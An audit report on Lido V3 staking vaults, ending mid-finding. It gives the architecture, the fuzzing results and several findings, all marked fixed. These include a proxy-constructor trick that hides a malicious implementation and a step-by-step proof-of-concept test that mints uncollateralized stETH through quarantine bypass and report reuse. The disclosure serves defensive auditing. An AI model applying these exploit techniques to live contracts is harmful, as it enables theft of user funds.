Lido V3

Date	August 2025
Auditors	Sergii Kravchenko, François Legué, Vladislav Yaroshuk

1 Executive Summary

This report presents the results of our engagement with **Lido** to review **Lido V3**.

The initial review was conducted over the course of **10** weeks, from **June 16, 2025** to **Aug 22, 2025** by **Sergii Kravchenko**, **François Legué** and **Vladislav Yaroshuk**. This was followed by a fix-review / re-audit from **October 13, 2025** to **November 14, 2025** over the course of **5** weeks.

During the initial review we found several issues across the vault's code that indicated a need for simplification. The `VaultHub` contract managed many responsibilities, resulting in complex flows that are challenging to audit and maintain. The `LazyOracle` introduced reporting delays, increasing system complexity and risk due to stale data. Disconnect and reconnect flows could create inconsistent states and relied on outdated information, further complicating the system. The quarantine mechanism in `LazyOracle` had fundamental flaws, and delays between on-chain state and the delivered data from oracles further create significant complexity in the system. The code quality and structure needed significant enhancement before production, clarifying patterns and improving modularity to ensure maintainability.

However, the Lido team addressed these issues and made significant improvements to major components of the protocol. They re-implemented the Lazy Oracle contract, which now correctly manages quarantine and reward remainders, and enhanced the sanity checks when applying reports to vaults. Fee logic calculation in the Dashboard has been corrected, and the Staking Vault contract can no longer hide malicious implementations and then connect to the Vault Hub. Test coverage of the smart contracts has been increased; however, the code still has high complexity, and by the end of the audit, new vulnerabilities were still being identified. We recommend delaying production deployment and ensuring continued engagement with the bug bounty program.

During the fix review phase, our primary focus was on verifying that the previously identified issues were properly addressed and identifying any potential side effects introduced by the remediation efforts. During the re-audit period, the Lido team continued to identify new issues and provided us with additional pull requests. We conducted our analysis on a best-effort basis to ensure comprehensive coverage despite these constraints.

During our audit, we worked alongside other auditors and the Lido team, who were also reviewing the code. Several issues were identified and acknowledged by the team before we could report them ourselves. To avoid duplication, we have not included these previously identified issues in our report.

2 Scope

The initial review focused on the following repository and code revision: `22cab0f0372015f2d2fce8bede64e98beae28571`.

The subsequent fix-review was based on the commit 88ce9647db982414133e5bab80aac399cb930106. We expanded the fix-review to verify more thoroughly if included remediations were introducing any side effects. The following pull requests, each containing multiple commits, were submitted during this phase:

- lidofinance/core#1512
- lidofinance/core#1528
- lidofinance/core#1533
- lidofinance/core#1541
- lidofinance/core#1549
- lidofinance/core#1555
- lidofinance/core#1557
- lidofinance/core#1561
- lidofinance/core#1568

After the conclusion of the fix-review, the report was finalized with the commit `33f2f59156697aae93cdea2d0984de7be347e3af`.

2.1 Objectives

Together with the **Lido team**, we identified the following priorities for this review:

1. Correctness of the implementation, consistent with the intended functionality and without unintended edge cases.
2. Identify known vulnerabilities particular to smart contract systems, as outlined in our Smart Contract Best Practices, and the Smart Contract Weakness Classification Registry.

3 System Overview

The full description of Lido V3 can be found in this doc from Lido: https://hackmd.io/@lido/S1-r1Cdexl.

Lido V3 introduces Staking Vaults: isolated vaults fully controlled by a user. The owner selects a node operator, funds the vault with ETH, and stakes to validators whose withdrawal credentials point back to the vault. Rewards and risk are isolated from Lido Core. Crucially, a vault can mint stETH (external shares) against its own ETH collateral, including ETH already staked in validators. Here is the most detailed description of the new staking vault mechanism: https://hackmd.io/@lido/stVaults-design. Below we present a brief overview of the system from the smart contract perspective.

Dashboard (inherits NodeOperatorFee)

Dashboard is the vault owner's single control surface. It wraps VaultHub and the StakingVault so the owner can fund and withdraw ETH, mint or burn exposure (stETH shares, stETH, wstETH), rebalance, pause/resume beacon deposits, request validator exits, trigger EIP-7002 withdrawals, connect/disconnect to VaultHub, and change OperatorGrid tier. It enforces the same safety limits as VaultHub (share limit, reserve ratio, unlocked value) and shows withdrawable value already net of locked collateral and pending fees.

It also manages the operator-owner relationship by computing and paying the node-operator (NO) fee based on rewards and slashing penalties. Disbursement transfers the fee in ETH to the NO recipient and rolls the period forward. Adjustments let you exclude non-reward top-ups (e.g., unguaranteed deposits) and are either increased by a dedicated role or set via two-party confirmation. Changing the fee rate or confirm window requires confirmations from admin and the NO manager; the contract pays any accrued fee first, then starts a new period.

Staking Vault

Holds ETH, performs deposits to the beacon chain with 0x02 withdrawal credentials (allowing consolidation), and can withdraw ETH back to the execution layer. The owner can pause/resume beacon deposits, trigger EIP-7002 withdrawals (partial or full) and eject the validator. Each instance is deployed behind a pinned-beacon proxy and can be ossified per vault.

When connected (after ownership transfer and connect deposit) to the `VaultHub`, the staking vault allows minting `stETH` shares.

VaultHub

VaultHub is the central contract that owns connected StakingVaults and keeps per-vault accounting. It mints and burns stETH backed by a vault's ETH, enforces limits (share cap, reserve ratio), and pauses/resumes beacon-chain deposits based on report freshness and health/obligations.

- Lifecycle and policy
  - Connect/disconnect vaults (codehash allowlist), transfer ownership, update limits/fees from OperatorGrid.
- Mint, burn, rebalance
  - Mint/burn stETH external shares with a fresh report; enforce share limit and reserve ratio; rebalance by burning shares, withdrawing ETH, and moving it to Lido internal accounting.
- Obligations (fees and redemptions)
  - Track Lido fees and redemptions per vault; settle by transferring ETH to treasury and/or rebalancing; thresholds can pause deposits and block actions until cleared.
- Oracle and exits
  - Apply per-vault reports from LazyOracle; gate EIP-7002 partial withdrawals when unhealthy or owing redemptions; allow role-gated forced exits if needed.

OperatorGrid

Serves as the policy source for each vault. Provides tiered parameters—share limit, reserve ratio, forced-rebalance threshold, fee BPs. Designed to manage risks and limit liabilities across all NO validators.

PDG

A set of contracts that protects the vault owner from node-operator misbehavior around validator setup. It proves that a validator's withdrawal credentials belong to the vault and compensates disproven predeposits, preventing front-running with incorrect credentials. `VaultHub` forwards proofs and compensation actions for the owner.

LazyOracle

LazyOracle helps to apply per-vault reports and is trusted by VaultHub. The data root is meant to be updated by the accounting oracle contract daily and each vault (or anyone as this is a permissionless feature) can update their state data within the VaultHub - vault's total value, liabilities, slashing reserve, Lido fees. The data always has a lag, it refers to a specific timeslot of the previous frame. Report freshness gates sensitive actions (e.g., minting). A report is considered fresh if it matches the latest oracle timestamp and is within the freshness window (2 days).

4 Security Specification

This section describes, **from a security perspective**, the expected behavior of the system under review. It is not a substitute for documentation. The purpose of this section is to identify specific security properties that were validated by the review team.

4.1 Actors

The relevant actors are listed below with their respective abilities:

- **DEFAULT_ADMIN_ROLE**: Default admin on different contract that manages access control
- **VAULT_MASTER_ROLE**: Can disconnect vaults, update share limits and fees
- **VAULT_CODEHASH_SET_ROLE**: Can set allowed vault proxy codehashes
- **REDEMPTION_MASTER_ROLE**: Can accrue Lido Core redemptions on vaults
- **VALIDATOR_EXIT_ROLE**: Can trigger validator exits under extreme conditions
- **BAD_DEBT_MASTER_ROLE**: Can bail out vaults with bad debt
- **NODE_OPERATOR_ROLE**: Node operators who can confirm vault operations
- **NODE_OPERATOR_MANAGER_ROLE**: Managers who can confirm operations on behalf of node operators
- **GUARANTOR**: Can guarantee predeposits and prove validators
- **SUBMIT_DATA_ROLE**: Can submit validator data reports to the LazyOracle through accounting oracle

- **DEPOSITOR_ROLE**: Can deposit to beacon chain
- **NODE_OPERATOR_REWARDS_ADJUST_ROLE**: Can call consolidations
- **Vault Owner**: The entity that owns and controls a staking vault. Can deposit/withdraw funds, manage validators, mint/burn stETH.
- **Lido Governance**: The entity that controls protocol upgrades and parameter changes.

4.2 Trust Model

In any system, it's important to identify what trust is expected/required between various actors. For this review, we established the following trust model:

- A report submitted to the accounting oracle is valid.
- Node operators having no on-chain stake are trusted not to act maliciously (inactivity, slashing, etc).
- The system is expected to be initialized correctly with proper role assignments and contract addresses.
- Role holders with administrative privileges are trusted not to abuse their permissions maliciously and are not compromised.

4.3 Security Properties

The following is a non-exhaustive list of security properties that were verified in this review:

- **Vault Isolation**: Individual vaults should be isolated from each other.
- **Liability Tracking**: The system must accurately track and enforce vault liabilities to prevent over-minting of stETH.
- **Fee Enforcement**: Lido fees must be properly calculated and enforced according to tier parameters.
- **Quarantine Mechanism**: Sudden large value increases should be properly quarantined to prevent manipulation.
- **Disconnect/Reconnect Safety**: Vault disconnection and reconnection should not allow state manipulation or bypass of safety checks.
- **Tier Enforcement**: Vault tier parameters should be properly enforced.

5 Continuous Fuzzing of Existing Invariants

We implemented a continuous fuzzing workflow to identify potential vulnerabilities and ensure the robustness of the Lido system. The workflow was used to fuzz three key development branches: `testnet-2`, `vault-hub-solvency-tests`, and `vaults`.

The workflow is automated and runs daily. Each day, it checks out the latest version of each specified branch and starts a 24-hour fuzzing campaign. Upon completion, a summary report is automatically generated and sent to the development team via Telegram, providing continuous feedback on code stability and invariant violations. This continuous process has been running for over three weeks.

The fuzzing campaign identified several failing invariants across all three branches. A failing invariant indicates a potential issue in the smart contract's logic, which could lead to unexpected behavior or a vulnerability. However, a violation may also indicate that the invariant is not entirely accurate, for instance, by not capturing a corner case.

The following is a detailed list of the failed invariants found on each branch:

- For `testnet-2`, the fuzzer found 7 failing invariants:
  1. `invariant_unfinalizedQueue`
  2. `invariant_queueLength`
  3. `invariant_lockedEthIsLessThanInQueue`
  4. `invariant_totalLockedEthNaiveCheck`
  5. `invariant_lockedEthDecreasesOnClaim`
  6. `invariant_queueStETH`
  7. `invariant_requestCantBeClaimedAndNotFinalizedInTheSameTime`
- For `vault-hub-solvency-tests`, the fuzzer found 6 failing invariants:
  1. `invariant_totalShares`
  2. `invariant_requestCantBeClaimedAndNotFinalizedInTheSameTime`
  3. `invariant_lockedEthDecreasesOnClaim`
  4. `invariant_queueLength`
  5. `invariant_unfinalizedQueue`
  6. `invariant_queueStETH`
- For `vaults`, the fuzzer found 7 failing invariants:
  1. `invariant_queueLength`
  2. `invariant_lockedEthIsLessThanInQueue`
  3. `invariant_requestCantBeClaimedAndNotFinalizedInTheSameTime`
  4. `invariant_queueStETH`
  5. `invariant_lockedEthDecreasesOnClaim`
  6. `invariant_unfinalizedQueue`
  7. `invariant_totalLockedEthNaiveCheck`

Our fuzzing workflow also records data that allows to reproduce the failures. We recommend that the Lido team investigates the failures to determine if they are due to bugs in the code or bugs in the respective Foundry (invariant) tests.

6 Invariant Fuzzing

Invariant fuzzing is a testing technique that continuously generates random inputs to smart contracts, aiming to uncover edge cases and violations of specified invariants. For Lido staking vaults, this approach helps ensure the robustness and security of the staking vault logic by automatically checking that critical properties always hold, even under unexpected or adversarial conditions.

6.1 Architecture of the Invariant Fuzzing Suite

Fuzzing contracts

The fuzzing contracts (`StakingVaultsFuzzing` and `MultiStakingVaultFuzzing`) deploy and initialize all protocol and mock contracts. They specify the handler contract as the target for fuzzing, adding all functions that the fuzzer should call. The setup always connects vaults to the `VaultHub` , and the final part of each contract defines the invariants that must not be violated during execution. These contracts are modular, allowing new invariants to be added as needed.

- **StakingVaultsFuzzing**: Focuses on a single staking vault and its protocol interactions. Its goal is to simulate all possible user and protocol actions on a single vault—such as funding, withdrawals, connection/disconnection, and state updates—to uncover edge cases and violations of critical invariants affecting individual vault safety and correctness.

- **MultiStakingVaultFuzzing**: Extends fuzzing to multiple vaults, tiers, and operator groups. Its goal is to test the protocol's behavior under complex scenarios involving several vaults, cross-tier and cross-group accounting, and resource limits. It ensures that invariants related to group and tier share limits and liability consistency are always respected.

Both contracts deploy and initialize all required protocol and mock contracts, including:

- StakingVault
- VaultHub
- HashConsensus (mocked)
- LidoLocator (mocked)
- Lido (mocked)
- OperatorGrid (mocked)
- LazyOracle (mocked)

Handler Contracts

The handler contracts (`StakingVaultsHandler` and `MultiStakingVaultHandler`) act as intermediaries between the fuzzing contracts and the vault contracts. They enable advanced testing scenarios. Examples of such actions include:

- Sending ETH with the transaction or to the vault when required (e.g., simulating off the record deposits).
- Restricting or randomizing input values to test edge cases,
- Transferring ownership after a vault is disconnected, to simulate changes in admin control.
- Checking current state (connected, disconnected, pending disconnect) of the vault before calling a function.

The handler contracts also track and expose relevant state variables to the fuzzing contracts and its invariants. They are designed to be extensible, so new functions from the staking vault contracts can be integrated as needed for future tests.

6.2 Limitations and Testing Assumptions

- Actions like consolidation or deposit to the beacon chain without using the `PDG` are treated similarly to OTC deposits and are simulated with OTC deposit functions in the handler contract.
- The Lido V2 core protocol has not been included and is fully mocked. This means that the share rate cannot be verified and all impacts of staking vaults on the core protocol are not verified.
- The focus is on the staking vault as a closed system, prioritizing fuzzing of functions callable by any vault admin, which represents the major threat with this new feature.
- Some invariants depend on the current absence of reward and slashing handling.
- There may be false negatives; if an invariant is not broken, it could be because the current setup is limited to a set of exposed functions, reducing its ability to fully exercise all possible contract behaviors and edge cases. Additionally, multiple contracts are mocked, and their behavior may not reflect all edge cases that would trigger the invariant.

6.3 Single staking vault invariants

These invariants ensure proper collateralization, value consistency, and correct handling of unhealthy states.

Invariant	Description	Finding
1	The staking vault never goes below the rebalance threshold (i.e., collateral always covers liability).	**N/A**
2	The dynamic total value (including deltas) never underflows (i.e., is always non-negative).	**N/A**
3	`forceRebalance` never reverts when the vault is unhealthy.	**N/A**
4	`forceValidatorExit` never reverts when the vault is unhealthy and the balance is high enough to rebalance.	**N/A**
5	The applied total value (in the `updateVaultData` flow) is never greater than the reported total value.	**N/A**
6	Liability shares never exceed the connection share limit.	**N/A**
7	The locked amount is always at least the maximum of slashing reserve, connect deposit, and safety buffer.	**N/A**
8	Withdrawable value is always less than or equal to total value minus locked amount and unsettled obligations.	**N/A**
9	The totalValue is always less than or equal to the effective (real) total value.	7.2 (composed of 7.20, 7.6, 7.5 and 7.4)
10	The effective total value is greater than or equal to locked amount	7.8

6.4 Multi staking vault invariants

These invariants ensure that individual vaults, tiers, and groups respect their configured limits. They check for consistency between vaults and their tiers, and between tiers and their groups, helping to prevent over-allocation and ensure correct accounting.

Invariant	Description	Finding
1	No individual vault exceeds its own share limit.	7.23
2	The sum of all tier liabilityShares in a group does not exceed the group's shareLimit.	**N/A**
3	The sum of vaults' liabilityShares in a tier matches the tier's liabilityShares.	**N/A**
4	The sum of vaults' liabilityShares in the default tier is less than or equal to the default tier shareLimit.	**N/A**
5	Vault's connection settings are consistent with Operator Grid Vault's info.	7.7

7 Findings

Each issue has an assigned severity:

- Critical issues are directly exploitable security vulnerabilities that need to be fixed.
- Major issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- Medium issues are objective in nature but are not security vulnerabilities. These should be addressed unless there is a clear reason not to.
- Minor issues are subjective in nature. They are typically suggestions around best practices or readability. Code maintainers should use their own judgment as to whether to address such issues.
- Issues without a severity are general recommendations or optional improvements. They are not related to security or correctness and may be addressed at the discretion of the maintainer.

7.1 `PinnedBeaconProxy` Can Hide Malicious Implementation via Constructor Critical ✓ Fixed

Resolution

The issue is fixed by requiring the vaults to be created by the factory.

Description

The staking vaults are designed to be connected to the `VaultHub`. To connect, a vault must meet the following requirements:

1. The vault's contract code must match `PinnedBeaconProxy` and include Lido's official beacon address. `PinnedBeaconProxy` is a standard beacon proxy with one extra feature: it can `ossify()`, which allows the owner to fix the current implementation.

contracts/0.8.25/vaults/PinnedBeaconProxy.sol:L25-L39

```
contract PinnedBeaconProxy is BeaconProxy {
    constructor(address beacon, bytes memory data) BeaconProxy(beacon, data) payable {}

    function _implementation() internal view virtual override returns (address) {
        address pinnedImpl = PinnedBeaconUtils.getPinnedImplementation();
        if (pinnedImpl != address(0)) {
            return pinnedImpl;
        }
        return IBeacon(_getBeacon()).implementation();
    }

    function implementation() external view returns (address) {
        return _implementation();
    }
}
```

contracts/0.8.25/vaults/lib/PinnedBeaconUtils.sol:L16-L30

```
bytes32 internal constant PINNED_BEACON_STORAGE_SLOT = 0x8d75cfa6c9a3cd2fb8b6d445eafb32adc5497a45b333009f9000379f7024f9f5;

function getPinnedImplementation() internal view returns (address) {
    return StorageSlot.getAddressSlot(PINNED_BEACON_STORAGE_SLOT).value;
}

/**
 * @notice Ossifies the beacon by pinning the current implementation
 */
function ossify() internal {
    if (ossified()) revert AlreadyOssified();
    address currentImplementation = IBeacon(ERC1967Utils.getBeacon()).implementation();
    StorageSlot.getAddressSlot(PINNED_BEACON_STORAGE_SLOT).value = currentImplementation;
    emit PinnedImplementationUpdated(currentImplementation);
}
```

2. The vault must not be `isOssified()`. The `StakingVault` implementation is the one that reports `isOssified()`:

contracts/0.8.25/vaults/StakingVault.sol:L180-L182

```
function isOssified() public view returns (bool) {
    return PinnedBeaconUtils.ossified();
}
```

contracts/0.8.25/vaults/lib/PinnedBeaconUtils.sol:L36-L38

```
function ossified() internal view returns(bool) {
    return getPinnedImplementation() != address(0);
}
```

If the implementation is pinned, it is stored in the proxy's `PINNED_BEACON_STORAGE_SLOT`. Normally this slot is empty or holds one of the official `StakingVault` implementations. If an attacker manages to store a malicious implementation here, they gain full control of the vault. This would allow them to withdraw all collateral while liabilities remain, effectively stealing `stETH` from the Lido core protocol.

The attack works because the proxy's `codehash` is only based on the runtime code, not the constructor. An attacker can deploy a proxy with the same whitelisted `codehash` but modify the constructor to preset `PINNED_BEACON_STORAGE_SLOT` with a malicious implementation. That implementation can simply return `false` in `isOssified()`, allowing it to pass the `VaultHub` checks. Once connected, the attacker could mint a large amount of `stETH` and then drain all collateral from the malicious vault.

Recommendation

We recommend checking ossification directly in the proxy contract code, not in the implementation. Additionally, require that the proxy points to the official beacon and reject proxies that have a custom implementation pinned.

7.2 Bypassing Quarantine and Reusing the Same Report Allows Minting Uncollateralized stETH

Critical ✓ Fixed

Resolution

The finding has been fixed in the `88ce9647db982414133e5bab80aac399cb930106` commit provided for the reaudit by fixing all of the issues mentioned in the finding.

Description

With the combination of issue 7.20, issue 7.6, issue 7.5, issue 7.4 findings an attacker can disconnect and reconnect several time and resubmit existing report, which leads to the exploitation scenario and allows minting uncollateralized stETH:

1. **Initial setup** An attacker creates a staking vault and pre-funds it with 1 ETH, and then connects the vault to the `VaultHub`.
2. **Increase balance** The attacker sends 100 ETH directly to the vault contract, boosting its on-chain balance from 1 ETH to 101 ETH. The attacker sends ether tokens directly by using `receive` function of the `Vault`, not the `fund` function in order to not update `inOutDelta` variable. So, this extra ETH is off□book with respect to the hub's accounting and will trigger quarantine logic on the next report.
3. **Trigger quarantine with report** As under normal conditions of the system, one day passes and an oracle report arrives, with reporting that `totalValue` of the vault is 101 ETH. The attacker calls `updateVaultData` function on `LazyOracle` to write 100 ETH value to quarantine (`pendingTotalValueIncrease = 100 ETH`, `isActive = true`).
4. **First disconnect request** The attacker calls `VaultHub.voluntaryDisconnect`, so the vault enters the "pending disconnect" state but is not yet fully removed.
5. **Wait for the new report** The attacker can wait 24 hours for getting a new oracle report, but this is optional. The attacker can resubmit previous proof, and thus finalize the disconnect from the `VaultHub`.
6. **Finalize first disconnect** After the new oracle report arrives, the same 101 ETH report is re□submitted. Since `pendingDisconnect` is true and no slashing reserve remains, the vault is removed from the hub via `_deleteVault`. However, its quarantine entry in `LazyOracle` remains untouched.
7. **Quarantine cool□down elapses** The attacker waits for the time to pass, completing the quarantine period.
8. **First reconnect** The attacker reconnects the vault to the `VaultHub`. On-chain the vault still holds 101 ETH; the hub now again tracks it.
9. **Wait for fresh report** The attacker waits for the new oracle report, to be able to apply it once again.
10. **Apply oracle report** A new report is applied (still claiming TV = 101 ETH) and submitted through `updateVaultData`. This refreshes the oracle's internal record without altering the existing quarantine entry.
11. **Second disconnect** The attacker requests another voluntary disconnect and finalize it in the same block by re-using the same report from the step 10. The vault is removed again from the hub; quarantine state still persists.
12. **Withdraw staking vault's funds** The dashboard abandons staking vault ownership, the owner reclaims it, and calls `stakingVault.withdraw(99 ETH)`. The Vault had 101 ETH, after the owner withdraws 99 ETH – 2 ETH are left on the vault.
13. **Second reconnect** The vault is transferred back to the hub and reconnected once more. On-chain balance remains at 2 ETH.
14. **Re-apply the same report** The previous 101 ETH report is submitted again. The existing quarantine entry is added to the reported total value, while in reality the vault has only 2 ETH available, so additional 99 ETH were incorrectly reported, and the attacker now can use this fake collateral to mint stETH for free.
15. **Final sanity check** The owner mints 50 liability shares against the phantom 101 ETH value. Since the hub believes 101 ETH remains, the owner obtains value for non-existent collateral, completing the exploit.

By performing these actions, the attacker can mint stETH using fake collateral for at least the whole share limit of the `defaultTier`.

Proof of Concept

```typescript
// obligations.integration.ts
it.only("should handle quarantine and disconnect/reconnect flow as described", async () => {
    // ──────────────────────────────────── Initial setup ────────────────────────────────────
    // Step 1: Ensure the new vault (pre-funded with 1 ETH in beforeEach) is connected
    //         to the VaultHub as expected from the test setup.
    expect(await vaultHub.isVaultConnected(stakingVault)).to.be.eq(true);

    // ──────────────────────────────────── Increase balance ─────────────────────────────────
    // Step 2: Send 100 ETH directly to the vault so its on-chain balance becomes 101 ETH.
    await owner.sendTransaction({ to: stakingVaultAddress, value: ether("100") });
    expect(await ethers.provider.getBalance(stakingVaultAddress)).to.equal(ether("101"));

    // ──────────────────────────────────── Trigger quarantine ───────────────────────────────
    // Step 3: Fast-forward one day to let the balance delta be reportable.
    await advanceChainTime(24n * 60n * 60n); // 1 day

    // Step 4: Submit a report showing 101 ETH TV; this puts +100 ETH into quarantine.
    await reportVaultDataWithProof(ctx, stakingVault, { totalValue: ether("101") });

    let quarantine = await lazyOracle.vaultQuarantine(stakingVault);
    expect(quarantine.pendingTotalValueIncrease).to.equal(ether("100"));
    expect(quarantine.isActive).to.equal(true);

    // ──────────────────────────────────── First disconnect ─────────────────────────────────
    // Step 5: Initiate a voluntary disconnect via the dashboard role.
    await dashboard.connect(roles.disconnecter).voluntaryDisconnect();

    // Step 6: Wait the mandatory 1-day cool-off before the disconnect can finalize.
    await advanceChainTime(24n * 60n * 60n); // 1 day

    // Step 7: Re-submit the same report to finalize the disconnect.
    await reportVaultDataWithProof(ctx, stakingVault, { totalValue: ether("101") });

    expect(await vaultHub.isVaultConnected(stakingVault)).to.equal(false);
    quarantine = await lazyOracle.vaultQuarantine(stakingVault);
    expect(quarantine.pendingTotalValueIncrease).to.equal(ether("100"));
    expect(quarantine.isActive).to.equal(true);

    // ──────────────────────────────────── Quarantine cooldown ──────────────────────────────
    // Step 8: Advance one full week so the quarantine period elapses.
    await advanceChainTime(7n * 24n * 60n * 60n); // 1 week

    // ──────────────────────────────────── First reconnect ──────────────────────────────────
    // Step 9: Reconnect the vault (still holding 101 ETH) to the VaultHub.
    await dashboard.connect(owner).reconnectToVaultHub();

    expect(await vaultHub.isVaultConnected(stakingVault)).to.equal(true);
    expect(await ethers.provider.getBalance(stakingVaultAddress)).to.equal(ether("101"));

    // Step 10: Advance one day so a fresh report can be pushed.
    await advanceChainTime(24n * 60n * 60n); // 1 day

    // ──────────────────────────────────── Push fresh report ────────────────────────────────
    // Step 11: Manually build and push an AccountingOracle report showing
    //          TV = 101 ETH (re-using these values later, so don't rebuild the tree).
    const totalValue = ether("101");
    const accruedLidoFees = 0n;
    const liabilityShares = await vaultHub.liabilityShares(stakingVault);
    const slashingReserve = 0n;
    const vaultReport: VaultReportItem = [
      await stakingVault.getAddress(),
      totalValue,
      accruedLidoFees,
      liabilityShares,
      slashingReserve,
    ];
    const reportTree = createVaultsReportTree([vaultReport]);
    const proof = reportTree.getProof(0);
    const accountingSigner = await impersonate(await ctx.contracts.locator.accountingOracle(), ether("100"));
    await lazyOracle.connect(accountingSigner).updateReportData(await getCurrentBlockTimestamp(), reportTree.root, "");
    // from now on don't rebuild the reportTree, re-use this directly
    await lazyOracle.updateVaultData(
      await stakingVault.getAddress(),
      totalValue,
      accruedLidoFees,
      liabilityShares,
      slashingReserve,
      proof
    );

    quarantine = await lazyOracle.vaultQuarantine(stakingVault);
    expect(quarantine.pendingTotalValueIncrease).to.equal(ether("100"));
    expect(quarantine.isActive).to.equal(true);
    expect(await vaultHub.totalValue(stakingVault)).to.equal(ether("101"));

    // ──────────────────────────────────── Second disconnect ────────────────────────────────
    // Step 12: Immediately request another voluntary disconnect…
    await dashboard.connect(roles.disconnecter).voluntaryDisconnect();
    // …and finalize it with the same report in the same block.
    await lazyOracle.updateVaultData(
      await stakingVault.getAddress(),
      totalValue,
      accruedLidoFees,
      liabilityShares,
      slashingReserve,
      proof
    );
    expect(await vaultHub.isVaultConnected(stakingVault)).to.equal(false);
    // ──────────────────────────────── Withdraw after disconnect ───────────────────
    // Step 13: Abandon the dashboard, reclaim ownership, and withdraw 99 ETH.
    await dashboard.connect(owner).abandonDashboard(owner);
    await stakingVault.connect(owner).acceptOwnership();
    await stakingVault.withdraw(owner, ether("99"));
    expect(await ethers.provider.getBalance(stakingVaultAddress)).to.equal(ether("2"));

    // ──────────────────────────────── Second reconnect ────────────────────────────
    // Step 14: Hand ownership back to the VaultHub and reconnect once more.
    await stakingVault.connect(owner).transferOwnership(vaultHub);
    await vaultHub.connectVault(stakingVault);
    expect(await vaultHub.isVaultConnected(stakingVault)).to.equal(true);

    // ──────────────────────────────── Re-apply old report ─────────────────────────
    // Step 15: Re-apply the *old* report (TV = 101 ETH).
    await lazyOracle.updateVaultData(
      await stakingVault.getAddress(),
      totalValue,
      accruedLidoFees,
      liabilityShares,
      slashingReserve,
      proof
    );
    quarantine = await lazyOracle.vaultQuarantine(stakingVault);
    expect(quarantine.pendingTotalValueIncrease).to.equal(0n);
    expect(quarantine.isActive).to.equal(false);
    expect(await vaultHub.totalValue(stakingVault)).to.equal(ether("101"));

    // ──────────────────────────────── Final sanity check ──────────────────────────
    // Step 16: Mint 50 liability shares to confirm the vault remains functional and we got free money $$$
    await vaultHub.connect(owner).mintShares(stakingVault, owner, ether("50"));
});
```

Recommendation

We recommend fixing issues mentioned in this finding.

7.3 Incorrect Maximum Liability Shares Validation in `LazyOracle` Major ✓ Fixed

Resolution

Fixed in commit 089ebda83e9d2ad288563373b4f9096f5b647590

Description

The `_handleSanityChecks` function from the `LazyOracle` contract contains a flawed validation that compares the on-chain `record.maxLiabilityShares` against the oracle-reported `_maxLiabilityShares`. The function reverts when the on-chain value is greater than the oracle-reported value.

../code-b9839f/contracts/0.8.25/vaults/LazyOracle.sol:L445-L448

```
// 5. _maxLiabilityShares is greater or equal than _liabilityShares and current `maxLiabilityShares`
if (_maxLiabilityShares < _liabilityShares || _maxLiabilityShares < record.maxLiabilityShares) {
    revert InvalidMaxLiabilityShares();
}
```

This check is incorrect because `maxLiabilityShares` represents the maximum number of shares minted by the vault at a specific reference slot and increases whenever new shares are minted during that period.

Since there is a time delay between when the oracle fetches the `maxLiabilityShares` value and when the report is submitted and applied on-chain, shares can be legitimately minted during this window, causing the on-chain value to exceed the reported value.

Oracle reports will be incorrectly rejected when shares are minted between oracle observation and report submission, potentially disrupting normal vault operations and preventing legitimate state updates. A stale vault report blocks all core vault operations including minting, withdrawals, and rebalancing, prevents critical recovery mechanisms like force rebalancing and validator exits, and disables administrative functions such as disconnection and parameter updates, effectively freezing the vault until a fresh oracle report is submitted.

Recommendation

Invert this check, as the on-chain value should be allowed to be greater than or equal to the reported value due to the asynchronous nature of oracle reporting.

7.4 Quarantine State Not Cleared on Vault Disconnection Major ✓ Fixed

Resolution

The finding has been fixed in the `88ce9647db982414133e5bab80aac399cb930106` commit provided for the reaudit by implementing a function `removeVaultQuarantine` in `LazyOracle` and calling this hook during `_deleteVault` function execution.

Description

When a vault is voluntarily disconnected via `VaultHub.voluntaryDisconnect`, the subsequent call to `applyVaultReport` will delete on-hub records (`connections` , `records` , `obligations`) through `_deleteVault` once all obligations are settled and sanity checks pass. However, the corresponding state in the `LazyOracle` contract - specifically the `vaultQuarantines[_vault]` entry - is never cleared. As a result, quarantine data for the disconnected vault remains in storage, leading to stale or incorrect quarantine state if the same vault is reconnected or reused. So, after the tier has been disconnected and then reconnected, the staking vault can instantly have an expired quarantine, which can be instantly reported to the total value bypassing quarantine period, which has been used in issue 7.2 finding for stealing funds.

Examples

contracts/0.8.25/vaults/VaultHub.sol:L665-L671

```
function voluntaryDisconnect(address _vault) external whenResumed {
    VaultConnection storage connection = _checkConnectionAndOwner(_vault);

    _initiateDisconnection(_vault, connection, _vaultRecord(_vault));

    emit VaultDisconnectInitiated(_vault);
}
```

contracts/0.8.25/vaults/VaultHub.sol:L1223-L1235

```
function _deleteVault(address _vault, VaultConnection storage _connection) internal {
    Storage storage $ = _storage();
    uint96 vaultIndex = _connection.vaultIndex;

    address lastVault = $.vaults[$.vaults.length - 1];
    $.connections[lastVault].vaultIndex = vaultIndex;
    $.vaults[vaultIndex] = lastVault;
    $.vaults.pop();

    delete $.connections[_vault];
    delete $.records[_vault];
    delete $.obligations[_vault];
}
```

contracts/0.8.25/vaults/LazyOracle.sol:L82-L85

```
struct Quarantine {
    uint128 pendingTotalValueIncrease;
    uint64 startTimestamp;
}
```

Recommendation

We recommend updating the `_deleteVault` function to remove the quarantine data when a vault is disconnected.

7.5 Quarantine Bypass Allows Using Reported Value Instantly Major ✓ Fixed

Resolution

The finding has been fixed in the `88ce9647db982414133e5bab80aac399cb930106` commit provided for the reaudit, by re-implementing quarantine logic. Now the quarantine is correctly triggered and released based on the expiry time.

Description

The quarantine mechanism is intended to temporarily hold back sudden, large increases in a vault's reported value until a cooldown period elapses. However, a quarantine expires only when the `quarantine` branch is triggered, so only in cases when the next reported total value is higher than the current total value by an amount that exceeds `maxRewardRatioBP`. But it is also important to note that during the quarantine period the state of the staking vault can change—for example, there could be a slashing on CL. If the slashing occurs, the next oracle report will apply a total value within the `maxRewardRatioBP` threshold, the `quarantine` branch won't be triggered, and the `quarantine` value will be left to expire.

Later, if a prior quarantine was left unresolved and allowed to expire, the next oracle report with a subsequent large value that triggers the `quarantine` branch can bypass the `delta <= quarDelta + onchainTotalValueOnRefSlot * $.maxRewardRatioBP / TOTAL_BASIS_POINTS` check which clears an old value, and immediately add the full value to the vault—effectively bypassing the quarantine.

Consider the following scenario:

1. There was extra rewards given to the validator on the CL, and a report with a new total value exceeds the previous value by more than the allowed threshold (e.g., 1 ETH → 1.05 ETH). The excess (0.05 ETH) is quarantined and not counted in the vault's official value.
2. A slashing occurs, the CL value drops, and the next oracle report arrives within the allowed threshold (e.g., 1 ETH → 1.02 ETH); the `quarantine` value remains pending and begins its expiration countdown.
